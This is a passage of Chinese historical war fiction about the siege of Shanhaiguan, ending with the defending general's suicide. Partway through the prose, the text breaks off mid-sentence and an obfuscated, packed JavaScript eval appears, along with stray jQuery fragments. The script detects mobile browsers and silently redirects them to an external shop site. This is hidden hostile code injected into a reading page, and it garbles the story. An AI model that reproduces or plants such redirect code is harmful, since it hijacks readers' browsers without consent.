山海关·龙脊断
山海关的城墙在晨雾中露出一道灰褐色的轮廓，如同一头伏卧在群山与大海之间的巨兽。城墙由巨大的条石砌成，高近四丈，厚约两丈，墙顶宽阔得足以并行两辆马车。城楼上的旗帜在风中猎猎作响，旗面上绣着张字，是山海关守将张承胤的将旗。他站在城楼最高处，扶着一块被风沙磨得光滑的垛口砖，望向北方。关外的原野上，无数营帐如同雨后冒出的蘑菇，密密麻麻地铺满了视线所及的所有平地。那是努尔哈赤的金军和大谷吉继的日军，各八万，合计十六万人，正扎营在关外，如同一片缓慢蠕动的暗色地毯。十天前探马回报，说金军和日军正在向山海关方向移动。当时还不确定他们的确切规模，只说是“数目甚众”。今天他已经能数清他们的营帐数量了，那些炊烟在天亮后就开始升起，一柱一柱地立在晨雾中，像是大地在缓慢地呼吸。
张承胤的双手按在城墙上。他已经五十三岁，在这座关城驻守了十二年。十二年间他见过蒙古人、女真人、流寇，数次叩关，都被他挡了回去。他喝退过敌人，也安抚过关内的百姓，但这一次不同，这一次是他第一次见到金军和日军同时压境。身后走来一名副将，低声说：“大人，城上的火炮已经全部就位。”张承胤回过身，沿着城墙内侧的通道走了一圈，逐一检查了那些红衣大炮。每一尊炮都被擦拭过，炮口朝北，炮身下方垫着木楔，用来调整射角。炮手们站在各自的位置上，有人正在往炮膛里填药包，有人在用通条夯实弹药。
他又走到关城北侧的箭楼，这里是整座关城视野最开阔的地方。从这里望出去，可以看到关外的营帐和整片战场的地形。他看了一会儿，回到指挥所，铺开地图，用手指缓缓划过几条标注着敌军可能的进军路线。他的目光在一处标记上停了一会儿，那是关城以北的一段城墙，城墙的外侧有一道缓坡，从关外的山地一直延伸到墙根。他抬头看了副将一眼：“北侧城墙，是否已经加固了？”副将答道：“已经加筑了土墙，又增派了兵力。”
入夜后，张承胤又巡视了一遍城墙。士兵们正在往墙根处搬运滚木礌石，油锅在城头烧着，油脂的气味在干燥的夜风中散发着微弱的焦味。他走到北侧城墙时，停下脚步，望向城墙外那道山坡的轮廓，又望向山坡更远处的山影，夜色中看不出太远，只有那些营帐的灯火在风中明灭不定。
天亮之前，关外的营帐开始移动了，如同被风吹动的麦浪。金军和日军几乎同时出营，分南北两路向山海关压来。张承胤站在城楼中央，看着那片正在逼近的阵型。金军的阵列以骑兵为主，骑兵分列左右两翼，步兵居中；日军的阵型则以步兵方阵为主，火枪手在前，长矛兵在后，两翼辅以骑兵掩护。两路大军在接近城墙时略微调整了方向，金军偏北，日军偏南，呈钳形向山海关合拢。
“开炮。”张承胤的声音传遍城墙。
红衣大炮发出了第一轮轰鸣。城墙上的炮火齐齐喷出橘红色的火光，硝烟骤然升起，沿着城墙边缘扩散成一片灰白色的幕墙。炮弹落向金军和日军的阵型，炮弹在密集的队列中弹跳、翻滚，犁出一道道血色的沟壑。前排的骑兵被炸断了战马的腿，连人带马向前栽倒。后方的骑兵避让不及，撞在前方倒下的障碍物上，队列开始收窄变慢。火炮持续轰击了一个时辰，城墙脚下的地面上已经多出了一片覆盖着碎片和翻起泥土的区域，金军和日军的阵型仍然在向前推进，只是前进的速度被压缩了。
张承胤在城楼上看着敌军逐渐接近城墙根部，金军的先锋部队已经翻过了北侧城墙外的那道缓坡，正沿着坡度向城墙方向推进。城上的弓箭手开始向下射击，箭矢落在金军的阵型中，几名金军士兵中箭倒地。后面的士兵拖着同伴的腿向后退，更多人则踩着同伴倒下的位置继续向前推进。云梯开始被架起，梯首搭上城墙边缘的砖石，发出了密集的撞击声。
张承胤沿着城墙内侧的通道向北侧方向移动。他走到北侧城墙时，看到已经有金军士兵翻上了垛口，正准备跳入城墙内侧的通道，张承胤拔刀上前，将一名正在翻越城墙的金军士兵推了回去，那人从城墙上坠落，发出一声短促的嘶喊。城墙上的守军迅速堵住了那个缺口，将后续攀爬的士兵用长矛推落下去。
关外的火炮阵地也开始还击了。炮弹从数里外飞射过来，带着一种持续的呼啸，掠过城墙上方，落在城墙内侧的房屋和街道上。关城内的居民已经撤离了大部分区域，火炮没有造成太多平民伤亡，但那些落点依然在城墙内的建筑物上留下碎瓦和裂纹，像是一道道无法愈合的伤口。
战斗持续到正午，金军和日军又发动了第三次进攻。城墙外的坡道上堆积了越来越厚的尸体和翻起的新土，硝烟在城头弥散着，使得视线不再清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728886|206303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
晰。张承胤在城楼的指挥所内重新看了一遍地图，然后起身走出指挥所，沿着城墙的通道走到北侧时停下，因为北侧城墙的炮声已经变得稀疏，守军的还击也明显稀疏了一些。他看向关外的山坡，发现了异常的动静。那山坡上原本只有金军的步兵，多了一些新的身影，比步兵高出一截。他走回指挥所，派人去确认那些动向。当他走出指挥所时，关外北侧城墙方向传来了新的炮声，但那些炮弹落在城墙上的位置，和之前的落点不太一样，像是从更远处发射的。他停下脚步，转向北侧城墙，望向那道山坡。山坡后方更远处的山脊线上，出现了一道移动的线条，正在沿着山脊向北侧城墙方向推进。那些移动的轮廓是骑兵，正在沿着山脊线快速移动，队伍中部已经开始转向城墙的北侧防线。
副将的声音从他身后传来：“扯力克的蒙古骑兵，绕到了北边。他们的前锋已经从北侧城墙的侧面进入了关城后方，后面的部队还在不断涌入，人数很多。”张承胤没有说话，他沿着城墙向北侧方向走去，经过几处正在抵抗的阵地，经过几门已经哑火的火炮，走到北侧城墙时，停了下来。
城墙下方，蒙古骑兵已经突破了北侧防线的缺口，正在向关城内部涌入，马匹在狭窄的街道上散开，骑手们正在下马进入巷战。城墙上，一部分守军依然在坚持抵抗，堵住缺口，拦截攀爬的敌人。他向城墙下望去，看到最后一批还能站立的守军正在一处街垒后方架设最后两门火炮，炮身被调整到最低射角，对准了巷口，一名炮手正在往炮膛里塞药包。
张承胤沿着城墙内侧的通道走回指挥所。营帐中空无一人，沙盘上还插着标记敌军位置的旗帜，笔墨还搁在案上，墨迹已干。他看了一眼那面将旗，它还在城楼上飘着，边缘有些破损。他从腰间抽出佩刀，在帐中站了一会儿，然后走到营帐外。北侧城墙上，几名守军正从炮位上跑过，有人在喊某个人的名字，声音被爆炸声盖过。他在城楼上站定，将刀横举到身前，刀刃向外，刀背贴着自己，确认了一下刀的位置，然后用力向前推出。
张承胤的身体向前倾倒，落在了城墙内侧的砖地上，刀刃从他胸口前方穿过，在他身体和城墙地面之间留下了一道逐渐扩大的深色印迹。他的目光最终定格在城墙边缘，那面破损的将旗仍在风中翻卷，旗面上的颜色已经从深红褪成暗褐，在浓烟和天光之间微微摆动。